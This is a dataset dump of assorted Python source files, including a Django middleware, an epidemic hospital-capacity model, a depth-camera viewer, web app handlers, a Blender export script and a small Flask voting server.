+{"seq_id":"283022090","text":"from django.shortcuts import render\ntry:\n from django.utils.deprecation import MiddlewareMixin # Django 1.10.x\nexcept ImportError: # pragma: no cover\n # Not required for Django <= 1.9, see:\n # https://docs.djangoproject.com/en/1.10/topics/http/middleware/#upgrading-pre-django-1-10-style-middleware\n MiddlewareMixin = object # pragma: no cover\n\n\nclass SimpleMiddleware(MiddlewareMixin):\n def process_request(self, request):\n req_sortby = request.GET.get('sortby', '')\n req_order = request.GET.get('order', '')\n order = '-' if req_order == 'desc' else ''\n if req_sortby:\n params = request.GET.copy()\n params.setdefault('ordering', order + req_sortby)\n request.GET = params\n\n # def process_response(self, request, response):\n # return response\n","sub_path":"apps/utils/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"41765025","text":"import pandas as pd\nimport numpy as np\nimport math\n\nimport sim_sir as sir\n\n\ndef sim_chime(scenario, population, known_infections, known_cases,\n market_share=28, n_days=120,\n doubling_time=6, relative_contact_rate=0.25,\n recovery_days=14,\n hosp_rate=0.05, icu_rate=0.02, vent_rate=0.02,\n hosp_los=7, icu_los=9, vent_los=10,\n pct_ped_vent=0.10):\n \"\"\"\n\n :param scenario:\n :param population:\n :param known_infections:\n :param known_cases:\n :param market_share:\n :param n_days:\n :param doubling_time:\n :param relative_contact_rate:\n :param recovery_days:\n :param hosp_rate:\n :param icu_rate:\n :param vent_rate:\n :param hosp_los:\n :param icu_los:\n :param vent_los:\n :param pct_ped_vent:\n :return: projection, projection_admits, projection_census\n \"\"\"\n\n # Store all input parameters in a dictionary to return later\n scenario_inputs = {'scenario': scenario,\n 'population': population,\n 'known_infections': known_infections,\n 'known_cases': known_cases,\n 'market_share': market_share,\n 'n_days': n_days,\n 'doubling_time': doubling_time,\n 'relative_contact_rate': relative_contact_rate,\n 'recovery_days': recovery_days,\n 'hosp_rate': hosp_rate,\n 'icu_rate': icu_rate,\n 'vent_rate': vent_rate,\n 'hosp_los': hosp_los,\n 'icu_los': icu_los,\n 'vent_los': vent_los,\n 'pct_ped_vent': pct_ped_vent}\n\n\n # Regional Population\n S = population\n\n # Currently Known Regional Infections (only used to compute detection rate\n # - does not change projections\n initial_infections = known_infections\n\n # Currently Hospitalized COVID-19 Patients\n current_hosp = known_cases\n\n market_share = market_share / 100\n\n\n # ------ Intermediate SIR model variables\n\n # Seems like estimating initial number of total infections in the population *region*\n # we are modeling (i.e. that we put population numbers in above) by inferring from the\n # number we have in hospital and then inflating by both our market share and then\n # the hospitalization rate of infecteds. So, total_infections is in our entire\n # region.\n\n total_infections = current_hosp / market_share / hosp_rate\n\n # Estimate prob[detection | infected]. Will be used to initialize size of I.\n detection_prob = initial_infections / total_infections\n\n # Compute initial values for S, I, and R (susceptible, infectious, recovered)\n # Note that initial value for S was set up above based on input params\n # I is initialized by reflecting the fact that there are a bunch of undetected\n # cases out there and R is initially set to 0.\n S, I, R = S, initial_infections / detection_prob, 0\n\n # Since this model lets user input the doubling time (time for I -> 2I), we can back into the\n # implied intrinsic growth rate of the pandemic. We'll use this below to get to\n # key model terms like \"basic reproduction number\"\n intrinsic_growth_rate = 2 ** (1 / doubling_time) - 1\n\n # recovery_days = 14.0 # Hmm, was hard coded. I moved up into input params.\n # mean recovery rate, gamma, (in 1/days).\n gamma = 1 / recovery_days\n\n # Contact rate, beta\n beta = (\n intrinsic_growth_rate + gamma\n ) / S * (1 - relative_contact_rate) # {rate based on doubling time} / {initial S}\n\n # Now can compute the \"basic reproduction number\". It's kind of like the\n # rho term in queueing models. When > 1, epidemic grows.\n r_t = beta / gamma * S # r_t is r_0 after distancing\n r_naught = r_t / (1 - relative_contact_rate)\n doubling_time_t = 1 / np.log2(beta * S - gamma + 1) # doubling time after distancing\n\n # ------- Run SIR model\n\n # Assume no beta decay for now.\n beta_decay = 0.0\n\n # Call the main simulation function.\n s, i, r = sir.sim_sir(S, I, R, beta, gamma, n_days, beta_decay=beta_decay)\n\n # ------- Compute resource needs based on SIR\n\n # Compute arrays of resource use at each time step\n # Note that the three resources included in the base model are just using\n # \"multipliers\" to compute hospital specific guesstimates of resource needs.\n # A similar kind of thing might be appropriate for many resources such\n # as needs for numbers of certain kinds of staff.\n\n hosp = i * hosp_rate * market_share\n icu = i * icu_rate * market_share\n vent = i * vent_rate * market_share\n\n # ------- Prep results for plotting and analysis\n\n # Now read to create master DataFrame to drive plots\n\n # Need array of the days\n days = np.array(range(0, n_days + 1))\n\n # Combine arrays for days and all resource related arrays.\n # Obviously, as new resource computations are added above,\n # need to add those arrays to data_list and data_dict.\n data_list = [days, hosp, icu, vent]\n\n # Create a dictionary from data_list to use to easily create pandas DataFrame.\n data_dict = dict(zip([\"day\", \"hosp\", \"icu\", \"vent\"], data_list))\n\n # Create the main DataFrame containing resource projections.\n projection = pd.DataFrame.from_dict(data_dict)\n\n # ------ Compute projected admits from projection results\n\n # New cases (computing lag 1 difference)\n projection_admits = (projection.iloc[:-1, :] - projection.shift(1)).apply(np.ceil)\n projection_admits[projection_admits < 0] = 0\n projection_admits.loc[0, :] = 0\n\n plot_projection_days = n_days - 10\n projection_admits[\"day\"] = range(projection_admits.shape[0])\n\n # ------ Compute census and other resource usage\n\n census_table, projection_census = _census_table(projection_admits,\n hosp_los, icu_los, vent_los)\n\n # Add scenario info to result dataframes\n projection['scenario'] = scenario\n projection_admits['scenario'] = scenario\n projection_census['scenario'] = scenario\n\n projection_resources = _resource_table(projection_admits, projection_census,\n pct_ped_vent)\n # Return projections\n return (projection, projection_admits, projection_census,\n projection_resources, scenario_inputs)\n\n\n# The following function I left as is from the UPenn model, except\n# now returns daily census version as well as every 7 day\n# version used in CHIME for the plot.\n# We might want to have a separate function that does\n# similar thing for any resources we add.\ndef _census_table(projection_admits, hosp_los, icu_los, vent_los):\n \"\"\"ALOS for each category of COVID-19 case (total guesses)\"\"\"\n\n los_dict = {\n \"hosp\": hosp_los,\n \"icu\": icu_los,\n \"vent\": vent_los,\n }\n\n census_dict = dict()\n for k, los in los_dict.items():\n census = (\n projection_admits.cumsum().iloc[:-los, :]\n - projection_admits.cumsum().shift(los).fillna(0)\n ).apply(np.ceil)\n census_dict[k] = census[k]\n\n\n census_df = pd.DataFrame(census_dict)\n census_df[\"day\"] = census_df.index\n census_df = census_df[[\"day\", \"hosp\", \"icu\", \"vent\"]]\n\n census_table = census_df[np.mod(census_df.index, 7) == 0].copy()\n census_table.index = range(census_table.shape[0])\n census_table.loc[0, :] = 0\n census_table = census_table.dropna().astype(int)\n\n # Modified following lines to convert NaN to 0 in first row of census_df\n # and to return the full census_df along with the table that only contains\n # every 7 days.\n census_df.loc[0, :] = 0\n census_df.fillna(0, inplace=True)\n return census_table, census_df\n\n\ndef _resource_table(projection_admits, projection_census, pct_ped_vent) -> pd.DataFrame:\n \"\"\"Use admissions, census, and base inputs to compute resource needs\"\"\"\n\n # Copy the census projections to use as base for resource projections\n projection_resources = projection_census.copy()\n\n census_rename_dict = {\n \"hosp\": 'hosp_census',\n \"icu\": 'icu_census',\n \"vent\": 'vent_census',\n }\n\n projection_resources = projection_resources.rename(census_rename_dict, axis='columns')\n print(projection_resources)\n\n dfs_to_concat = [projection_resources, projection_admits.iloc[:, 1:-1]]\n projection_resources = pd.concat(dfs_to_concat, axis=1)\n\n admit_rename_dict = {\n \"hosp\": 'hosp_admit',\n \"icu\": 'icu_admit',\n \"vent\": 'vent_admit',\n }\n projection_resources = projection_resources.rename(admit_rename_dict, axis='columns')\n\n # Computing number of pediatric and adult ventilators\n projection_resources['vent_census_ped'] = projection_resources['vent_census'] * pct_ped_vent\n\n projection_resources['vent_census_ped'] = \\\n projection_resources['vent_census_ped'].map(lambda x: math.ceil(x))\n\n projection_resources['vent_census_adult'] = projection_resources['vent_census'] - projection_resources[\n 'vent_census_ped']\n\n # Compute number of GPs needed - should this be based on census or admits?\n\n return projection_resources\n\n","sub_path":"mychime/archive/sim_chime.py","file_name":"sim_chime.py","file_ext":"py","file_size_in_byte":9257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"462777366","text":"from dependencies.display_util.string_display_util import *\nfrom dependencies.display_util.array_display_util import *\nimport pyrealsense2 as rs\nimport numpy as np\nimport json\nimport time\n\nimport matplotlib.pyplot as plt\nfrom matplotlib.widgets import Button\nimport pyqtgraph as pg\n\nfrom PIL import Image\nfrom colorama import Fore\n\nimport Depth_Displayer.cam_conversion as cc\n\n# from tqdm import tqdm\n\n\nfile = \"\" # \"/home/aaron/Documents/20190607_103806.bag\"\ncnf_file = \"C:\\\\Users\\\\aaron.jencks\\\\Documents\\\\GitHub\\\\emerson_seed_object_detection\\\\realsense_cam_settings.json\"\nclumping = 1\ndepth_clumping = 1\nhistorical_average_depth = 1\n\ncurrent_roi = 0\nupdate_roi = True\nhorizontal_trim = 0\nvertical_trim = 0\n# rois = [\n# {'l': 294, 'u': 262, 'r': 391, 'b': 360}, # Marker 1\n# {'l': 312, 'u': 222, 'r': 378, 'b': 281}, # Marker 2\n# {'l': 321, 'u': 198, 'r': 373, 'b': 243}, # Marker 3\n# {'l': 325, 'u': 184, 'r': 369, 'b': 218}, # Marker 4\n# {'l': 329, 'u': 175, 'r': 366, 'b': 201}, # Marker 5\n# {'l': 321, 'u': 167, 'r': 366, 'b': 194}, # Marker 6\n# {'l': 334, 'u': 162, 'r': 362, 'b': 190}, # Marker 7\n# {'l': 335, 'u': 162, 'r': 359, 'b': 186}, # Marker 8\n# {'l': 339, 'u': 159, 'r': 361, 'b': 179}, # Marker 9\n# {'l': 341, 'u': 154, 'r': 360, 'b': 173}, # Marker 10\n# {'l': 0, 'u': 0, 'r': 640, 'b': 480} # Give me all of it\n# ]\n\nrois = [\n {'l': 50, 'u': 0, 'r': 640, 'b': 400}\n]\n\nis_stopping = False\n\n\nDS5_product_ids = [\"0AD1\", \"0AD2\", \"0AD3\", \"0AD4\", \"0AD5\", \"0AF6\",\n \"0AFE\", \"0AFF\", \"0B00\", \"0B01\", \"0B03\", \"0B07\", \"0B3A\"]\n\n\ndef find_device_that_supports_advanced_mode():\n ctx = rs.context()\n devices = ctx.query_devices()\n for dev in devices:\n if dev.supports(rs.camera_info.product_id) and str(dev.get_info(rs.camera_info.product_id)) in DS5_product_ids:\n if dev.supports(rs.camera_info.name):\n print(\"Found device that supports advanced mode:\", dev.get_info(rs.camera_info.name))\n return dev\n raise Exception(\"No device that supports advanced mode was found\")\n\n\ndef round_data(data):\n for i in range(data.shape[0]):\n for j in range(data.shape[1]):\n data[i, j] = round(data[i, j], 4) # '{:#05.4g}'.format(data[i, j])\n\n\ndef number_of_different_values(data) -> int:\n values = []\n for i in range(data.shape[0]):\n for j in range(data.shape[1]):\n if int(data[i, j]) not in values:\n values.append(int(data[i, j]))\n\n return len(values)\n\n\ndef btn_callback(event):\n global current_roi, update_roi\n if current_roi == len(rois) - 1:\n current_roi = 0\n else:\n current_roi += 1\n\n update_roi = True\n\n print_notification(\"Switching to location {}\".format(current_roi + 1))\n\n\ndef stop_callback(event):\n global is_stopping\n is_stopping = True\n print_notification(\"Stopping\")\n\n\nif __name__ == \"__main__\":\n file = \"\" # input(\"Input file path: \") if file == \"\" else file\n\n ctx = rs.context()\n\n dev = find_device_that_supports_advanced_mode()\n advnc_mode = rs.rs400_advanced_mode(dev)\n\n advnc_mode.load_json(\n str(json.load(open(cnf_file))).replace(\"'\", '\\\"'))\n\n pipeline = rs.pipeline(ctx)\n\n config = rs.config()\n config.enable_stream(rs.stream.depth, 640, 480, rs.format.z16, 90)\n\n cap = pipeline.start(config)\n\n scale = cap.get_device().first_depth_sensor().get_depth_scale()\n\n print(\"Depth Scale is {}\".format(scale))\n\n fig, ax = plt.subplots()\n ax.axis('off')\n\n plot = fig.add_axes([0.1, 0.5, 0.5, 0.4])\n dist = fig.add_axes([0.1, 0.1, 0.7, 0.4])\n\n # btn_nxt = fig.add_axes([0.65, 0.85, 0.3, 0.1])\n btn_stp = fig.add_axes([0.85, 0.21, 0.1, 0.05])\n # btn.axis('off')\n # btn_next = Button(btn_nxt, \"Next\")\n btn_nxt = plt.Text(0, 0, 'Hello World', transform=[0.65, 0.85, 0.3, 0.1], c='b')\n # btn_next.on_clicked(btn_callback)\n btn_stop = Button(btn_stp, \"Quit\")\n btn_stop.on_clicked(stop_callback)\n\n # l, u, r, b = tuple([int(i) for i in\n # input(\"Enter roi in the order of left, up, right, bottom, separated by spaces: \").split()])\n\n try:\n first = True\n roi = []\n history = np.zeros(shape=(1, 1, 1), dtype=float)\n \n print_notification(\"Switching to location {}\".format(current_roi + 1))\n \n while not is_stopping:\n roi_dict = rois[current_roi]\n l = roi_dict['l'] + horizontal_trim\n u = roi_dict['u'] + vertical_trim\n r = roi_dict['r'] + horizontal_trim\n b = roi_dict['b'] + vertical_trim\n\n frames = pipeline.wait_for_frames()\n depth_frame = frames.get_depth_frame()\n # depth_array = np.multiply(np.asanyarray(depth_frame.get_data()), 1) # scale)\n\n if update_roi:\n roi = np.zeros(shape=(b - u, r - l), dtype=np.float32)\n update_roi = False\n\n history, roi, norm, avg = cc.convert_realsense(frames, roi, u, b, l, r, clumping, depth_clumping,\n 1 if first else 0, history, historical_average_depth)\n\n print((\"{}\" + Fore.YELLOW + \"Average Depth: {}\" + Fore.RESET).format(\n '\\r' if not first else '', avg * scale * 1/0.0254), end='')\n\n if first:\n first = False\n\n plot.clear()\n plot.imshow(np.multiply(np.multiply(roi, scale), 1/0.0254))\n plot.axis('off')\n\n # btn_nxt.clear()\n # print(\"Average Depth: {}\".format(avg), end='')\n\n dist.clear()\n dist.hist(np.multiply(norm, scale), histtype='step')\n # dist.hist(norm[:, 1], histtype='step')\n # dist.hist(norm[:, 1]) # , range=(-5, 5)) # [:, 1])\n\n plt.draw()\n plt.pause(0.001)\n\n finally:\n print_warning(\"Something went wrong\")\n","sub_path":"PyCharm/pmd_implementation/Depth_Displayer/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"171972774","text":"import os\nimport webapp2\nimport jinja2\nimport logging\nfrom datetime import datetime, time\nfrom models.page import Page, wiki_key\nfrom users import check_secure_val\n\njinja_environment = jinja2.Environment(\n autoescape = True,\n loader = jinja2.FileSystemLoader(os.path.join(os.path.dirname(__file__), 'templates')))\n\nPAGE_RE = r'(/(?:[a-zA-Z0-9_-]+/?)*)'\n\n# handlers\n\nclass PageHandler(webapp2.RequestHandler):\n\n def get(self, name):\n v = self.request.get('v')\n if v:\n # get a specific verison\n page_v = Page.get_by_name_version(name, int(v))\n if page_v:\n template_values = { 'page_content': page_v.content,\n 'page_modified': page_v.created.strftime(\"%c\"),\n 'page_edit_link': '/wiki/_edit' + name,\n 'page_history_link': '/wiki/_history' + name}\n template = jinja_environment.get_template('page.html')\n self.response.out.write(template.render(template_values))\n else:\n # version did not exist\n self.redirect('/wiki' + name)\n else:\n # get the latest version\n page = Page.get_by_name(name)\n if page:\n template_values = { 'page_content': page.content,\n 'page_modified': page.created.strftime(\"%c\"),\n 'page_edit_link': '/wiki/_edit' + name,\n 'page_history_link': '/wiki/_history' + name}\n template = jinja_environment.get_template('page.html')\n self.response.out.write(template.render(template_values))\n else:\n # page did not exist\n self.redirect('/wiki/_edit' + name)\n\nclass EditPageHandler(webapp2.RequestHandler):\n\n def get(self, name):\n cookie_val = self.request.cookies.get('user_id')\n if not check_secure_val(cookie_val):\n self.redirect('/wiki/login')\n \n page = Page.get_by_name(name)\n \n template = jinja_environment.get_template('edit.html')\n \n if page:\n template_values = { 'page_content': page.content,\n 'page_modified': page.created.strftime(\"%c\")}\n self.response.out.write(template.render(template_values))\n else:\n self.response.out.write(template.render())\n\n def post(self, name):\n cookie_val = self.request.cookies.get('user_id')\n if not check_secure_val(cookie_val):\n self.redirect('/wiki/login')\n \n content = self.request.get('content')\n\n if content:\n current_version = Page.count_by_name(name)\n \n page = Page(parent = wiki_key(),\n name = name,\n content = content,\n created = datetime.now(),\n version = current_version + 1)\n page.put()\n \n self.redirect('/wiki' + name)\n else:\n template_values = {\n 'page': page,\n 'error': \"Content is required.\" }\n template = jinja_environment.get_template('edit.html')\n self.response.out.write(template.render(template_values))\n\nclass HistoryPageHandler(webapp2.RequestHandler):\n\n def get(self, name):\n page = Page.get_by_name(name)\n if page:\n pages = Page.get_all_versions(name)\n pages = list(pages)\n template_values = { 'pages': pages,\n 'page_edit_link': '/wiki/_edit',\n 'page_link': '/wiki' }\n template = jinja_environment.get_template('page-history.html')\n self.response.out.write(template.render(template_values))\n else:\n self.redirect('/wiki/_edit' + name)\n","sub_path":"udacity-cs253/apps/wiki/wiki.py","file_name":"wiki.py","file_ext":"py","file_size_in_byte":3953,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"564422142","text":"import bpy\nimport random\n\ndef main():\n\t#\n\t# clean\n\t#\n\toverride = bpy.context.copy()\n\tlist_objects_deleted = []\n\t\n\t# print all objects\n\tfor obj in bpy.data.objects:\n\t\tprint(obj.name)\n\t\tif 'group' not in obj.name:\n\t\t\tprint('obj deleted')\n\t\t\tlist_objects_deleted.append(obj)\n\t\n\toverride['selected_objects'] = list(list_objects_deleted)\n\tbpy.ops.object.delete(override)\n\tprint(\"Step 0 : \\\"Cleaning objects\\\" done\")\n\t\n\t\n\t#\n\t# get coordinates\n\t#\n\t# https://docs.blender.org/api/current/bpy.types.Mesh.html?highlight=vertices#bpy.types.Mesh.vertices\n\tf = open('/Users/pascal/动画游戏科技-2019/10月-科技-WSN灾难救援部署问题/地理模型-Blender/python脚本/data_buildings.txt','w')\n\n\tfor m in bpy.data.meshes:\n\t\t#print(m.name)\n\t\tprint('length {}'.format(len(m.vertices)))\n\n\t\t# get rid of the faces or lines, keep the buildings\n\t\tif len(m.vertices)<6:\n\t\t\t#print('!!! {}'.format(m.name))\n\t\t\tcontinue\n\n\t\tif 'ID' not in m.name:\n\t\t\tcontinue\n\n\t\t# compute center of the building\n\t\tcenter = [0.,0.,0.]\n\t\tfor v in m.vertices:\n\t\t\t#print('v {} '.format(v.co))\n\t\t\tcenter[0] += v.co[0]\n\t\t\tcenter[1] += v.co[1]\n\t\t\tcenter[2] += v.co[2]\n\n\t\t#print('center total {} '.format(center))\n\n\t\tfor index in range(3):\n\t\t\tcenter[index] /= float(len(m.vertices))\n\n\t\t#print('center {} '.format(center))\n\n\t\t# compute the radius for each building\n\t\tradius = 0.\n\t\tfor v in m.vertices:\n\t\t\tr = 0.\n\t\t\tr = r + (v.co[0]-center[0])**2\n\t\t\tr = r + (v.co[1]-center[1])**2\n\t\t\tr = r**0.5\n\t\t\tif r>radius:\n\t\t\t\tradius = r\n\n\t\tprint('radius {} '.format(radius))\n\n\t\t# write\n\t\tline = m.name\n\t\tline = line + \" \" + str(center[0]) + \" \" + str(center[1])\n\t\tline = line + \" \" + str(radius) \n\t\tline = line + \"\\n\"\n\t\tf.write(line)\n\n\n\tf.close()\n\n\treturn\n\n\nprint('hello')\nmain()\n","sub_path":"alice_step1_part1_blenderBuildingCoordinates.py","file_name":"alice_step1_part1_blenderBuildingCoordinates.py","file_ext":"py","file_size_in_byte":1730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"490041399","text":"#import os\n#os.environ['DJANGO_SETTINGS_MODULE'] = 'settings'\n#\n#from google.appengine.dist import use_library\n#use_library('django', '1.2')\n\nimport logging\nimport cgi\nimport os\nimport datetime\nimport urllib\nimport wsgiref.handlers\n\nfrom google.appengine.ext import db\nfrom google.appengine.api import users\nfrom google.appengine.ext import webapp\nfrom google.appengine.ext.webapp.util import run_wsgi_app\nfrom google.appengine.ext import blobstore\nfrom google.appengine.ext.webapp import blobstore_handlers\nfrom google.appengine.ext.webapp import template\nfrom google.appengine.api import images\n\nimport random\n\nimport base\nimport model\n\nclass HomeHandler(base.BaseHandler):\n def get(self):\n works = model.Work.gql(\"WHERE visibility = 3\").run()\n projects = model.Series.get_projects(display_only=True)\n rands = [(random.random(), work) for work in works]\n rands.sort()\n works = [work for (_, work) in rands]\n self.render_to_response('home.html',\n dict(projects=projects, works=works))\n \nclass AboutHandler(base.BaseHandler):\n def get(self):\n projects = model.Series.get_projects(display_only=True)\n self.render_to_response('about.html',\n dict(projects=projects))\n \nclass ProjectHandler(base.BaseHandler):\n def get(self, project):\n series = model.Series.gql(\"WHERE project = :1 AND display = TRUE ORDER BY title\", project)\n series_ids = [s.id for s in series]\n works = model.Work.gql(\"WHERE series in :1 AND visibility >= 2\", series_ids)\n rands = [(random.random(), work) for work in works]\n rands.sort()\n works = [work for (_, work) in rands]\n self.render_to_response('project.html', \n dict(project=project,\n series=series, \n works=works))\n\nclass SeriesHandler(base.BaseHandler):\n def get(self, project, series_id):\n series_id = int(series_id)\n works = model.Work.gql(\"WHERE series = :1 and visibility >= 1\", series_id).run()\n series = model.Series.get_by_id(series_id)\n if not users.is_current_user_admin() and not series.display:\n ## shouldn't display if not visible\n self.error(401)\n return\n if series.project != project:\n self.error(400)\n return\n other_series = model.Series.gql(\"WHERE project = :1 AND display = TRUE ORDER BY title\", series.project)\n self.render_to_response('series.html', \n dict(project=series.project,\n series=series, \n other_series=other_series,\n works=works))\n\nclass WorkHandler(base.BaseHandler):\n def get(self, project, series_id, work_id):\n series_id = int(series_id)\n work_keys = model.Work.gql(\"WHERE series = :1 and visibility >= 0\", series_id).run()\n work = model.Work.get_by_id(work_id)\n if work.series != series_id:\n self.error(400)\n series = model.Series.get_by_id(series_id)\n if series.project != project:\n if project == \"featured\":\n project = series.project\n else:\n self.error(400)\n works = [key.id for key in work_keys]\n logging.info(\"WorkHandler.get: work=%r, works=%r\", work, works)\n work_index = works.index(work_id)\n if work_index == 0:\n prev_work = works[-1]\n else:\n prev_work = works[work_index-1]\n if work_index == len(works)-1:\n next_work = works[0]\n else:\n next_work = works[work_index+1]\n self.render_to_response('work.html', \n dict(project=project, series=series, work=work, \n next_work=next_work, prev_work=prev_work))\n \nclass AllWorkHandler(base.BaseHandler):\n def get(self, series_id):\n if series_id is None or series_id == \"\":\n series = model.Series.all().run()\n self.render_to_response(\"all_series.html\", dict(series=series))\n else:\n series_id = int(series_id)\n works = model.Work.gql(\"WHERE series = :1 and visibility >= 1\", series_id).run()\n series = model.Series.get_by_id(series_id)\n self.render_to_response('all_work.html', \n dict(series=series, \n works=works))\n\n\napplication = webapp.WSGIApplication([('', HomeHandler),\n ('/', HomeHandler),\n ('/about', AboutHandler),\n (r'/all/(\\d*)', AllWorkHandler),\n (r'/work/(\\w*)', ProjectHandler),\n (r'/work/(\\w*)/(\\d*)', SeriesHandler),\n (r'/work/(\\w*)/(\\d*)/(.*)', WorkHandler)],\n debug=True)\n\ndef main():\n run_wsgi_app(application)\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"566638316","text":"import flask\nfrom flask import Flask, request\nfrom flask.ext.cors import CORS\nimport OpenSSL, ssl\nfrom base64 import b64decode, b64encode\n\n# globals\nvoters = set()\nvotes = {}\n\n# ssl setup\ncontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\ncontext.load_cert_chain('./keys/ctf.crt', './keys/ctf.pem')\n\n# web server setup\napp = Flask(__name__)\napp.debug = True\nCORS(app)\n\n# record vote\ndef recordVote(v, iden, vote):\n if v in voters:\n # record vote\n votes[iden] = vote\n voters.remove(v)\n return True\n else:\n return False\n\ndef verifyValidationString(v, sig):\n certfile = open('./keys/cla.crt').read()\n cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, certfile)\n\n try:\n OpenSSL.crypto.verify(cert, sig, v, 'sha256')\n return True\n except Exception as e:\n return False\n\n@app.route('/vote/submit', methods=['POST'])\ndef submitVote():\n v = flask.request.form['v']\n iden = flask.request.form['iden']\n vote = flask.request.form['vote'].strip()\n\n result = recordVote(v, iden, vote)\n\n print(voters)\n print(votes)\n return flask.jsonify(status=result)\n\n@app.route('/voter/add', methods=['POST'])\ndef addVoter():\n v = flask.request.form['v']\n sig = b64decode(flask.request.form['sig'])\n\n if verifyValidationString(v, sig):\n voters.add(v)\n print(voters)\n return flask.jsonify(status=True)\n else:\n return flask.jsonify(status=False, msg=\"invalid certificate\")\n\n@app.route('/results')\ndef publishResults():\n candidates = {}\n\n for iden,candidate in votes.items():\n if candidate not in candidates:\n candidates[candidate] = [iden]\n else:\n candidates[candidate].append(iden)\n\n return flask.jsonify(votes=candidates)\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0', port=5002, ssl_context=context)\n","sub_path":"ctf.py","file_name":"ctf.py","file_ext":"py","file_size_in_byte":1888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"139620568","text":"import os\nimport urllib\nimport tarfile\n\ndef download_dataset(source_url, target_dir, target_file):\n global downloaded\n downloaded = 0\n\n print('downloading ... ')\n urllib.urlretrieve(source_url, filename=target_file)\n print('downloading ... done')\n\n print('extracting ...')\n tar = tarfile.open(target_file, \"r:gz\")\n tar.extractall()\n tar.close()\n os.remove(target_file)\n print('extracting ... done')\n\n\nif __name__ == '__main__':\n source_url = 'https://nuage.lix.polytechnique.fr/index.php/s/yqWanZ8pNqftEPm/download'\n target_dir = os.path.dirname(os.path.abspath(__file__))\n target_file = os.path.join(target_dir, 'intrinsic_interpolation_pretrained_DFAUST.tar.gz')\n download_dataset(source_url, target_dir, target_file)\n","sub_path":"models/download_pretrained_model.py","file_name":"download_pretrained_model.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"124560220","text":"import math\n\nfin = open(\"/home/oybek/menshikov/prostiye_chisla/input.txt\")\nfout = open(\"/home/oybek/menshikov/prostiye_chisla/output.txt\",\"a\")\n\na, b = map(int, fin.readline().split())\nprimes = [2, 3]\n\nroot = math.ceil(b ** (1.0/2))\n\nfor i in range(2, root+1):\n isPrime = True\n for j in primes:\n if i % j == 0:\n isPrime = False\n break\n\n if isPrime:\n primes.append(i)\n\n# print(primes)\nsqrt_init = math.ceil(a ** (1.0/2))\n\nfor i in range(a, b):\n isPrime = True\n\n if (sqrt_init + 1) ** 2 == i:\n sqrt_init = math.ceil(i ** (1.0/2))\n \n for j in primes:\n if j > sqrt_init:\n break\n if i % j == 0:\n isPrime = False\n break\n \n if isPrime:\n fout.write(\"{}\\n\".format(i))\n\n# fout.write(str(a+b))\n\nfin.close()\nfout.close()\n\n# Done successfully, Alhamdulillah","sub_path":"prostiye_chisla/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"268779275","text":"# -*- coding: utf-8 -*-\nfrom app import app\nfrom flask import url_for, Markup, render_template\nimport json, os\nimport config\n\npackage_json = None\nstatic_resource_version = ''\nstatic_resource_hashmap = None\ndef _get_package_json():\n global package_json\n global static_resource_version\n global static_resource_hashmap\n package_json = json.load(file(os.getcwd() + '/package.json'))\n static_resource_version = package_json['version']\n static_resource_hashmap = package_json.get('hashmap', {})\n\n_get_package_json()\n\napp.jinja_env.globals['static_version'] = static_resource_version\n\ndef import_static_resource(path, type, version=True, _r=''):\n # 如果是本地测试,则每次都去获取最新的package.json\n if getattr(config, 'LOCAL', None):\n _get_package_json()\n params = {}\n if type != 'themes':\n type = 'js'\n if version:\n filename = '{type}/dist/{version}/{path}'.format(type=type, version=static_resource_version, path=path)\n else:\n filename = '{type}/dist/{path}'.format(type=type, path=path)\n params['filename'] = filename\n hashmap = static_resource_hashmap.get(filename, '')\n if hashmap:\n params['_h'] = hashmap\n if _r:\n params['_r'] = _r\n return url_for('static', **params)\n\n@app.context_processor\ndef import_js_processor():\n \"\"\"\n 引入js文件\n \"\"\"\n def import_js(path, version=True, _r=''):\n return import_static_resource(path, 'js', version=version, _r=_r)\n return dict(import_js=import_js)\n\n@app.context_processor\ndef import_css_processor():\n \"\"\"\n 引入css文件\n \"\"\"\n def import_css(path, version=True, _r=''):\n return import_static_resource(path, 'themes', version=version, _r=_r)\n return dict(import_css=import_css)\n\n@app.context_processor\ndef pagination_processor():\n \"\"\"\n 分页处理器\n \"\"\"\n def pagination(url, pager, template=None, params=None):\n offset = pager.get('offset', 0)\n limit = pager.get('limit', 20)\n rows_found = pager.get('rows_found', 0)\n pager['offset'] = offset\n pager['limit'] = limit\n pager['rows_found'] = rows_found\n\n template = template or 'common/pagination.html'\n\n # 当前页\n pager['current'] = (offset + limit - 1) // limit\n # 总页数\n pager['total_page'] = (rows_found + limit - 1) // limit\n # 上一页开始的offset\n prev_offset = offset - limit\n pager['prev_offset'] = prev_offset if prev_offset >= 0 else 0\n\n pager['params'] = params or {}\n pager['url'] = url\n return Markup(render_template(template, data=pager))\n return dict(pagination=pagination)\n","sub_path":"jinja/processors.py","file_name":"processors.py","file_ext":"py","file_size_in_byte":2681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
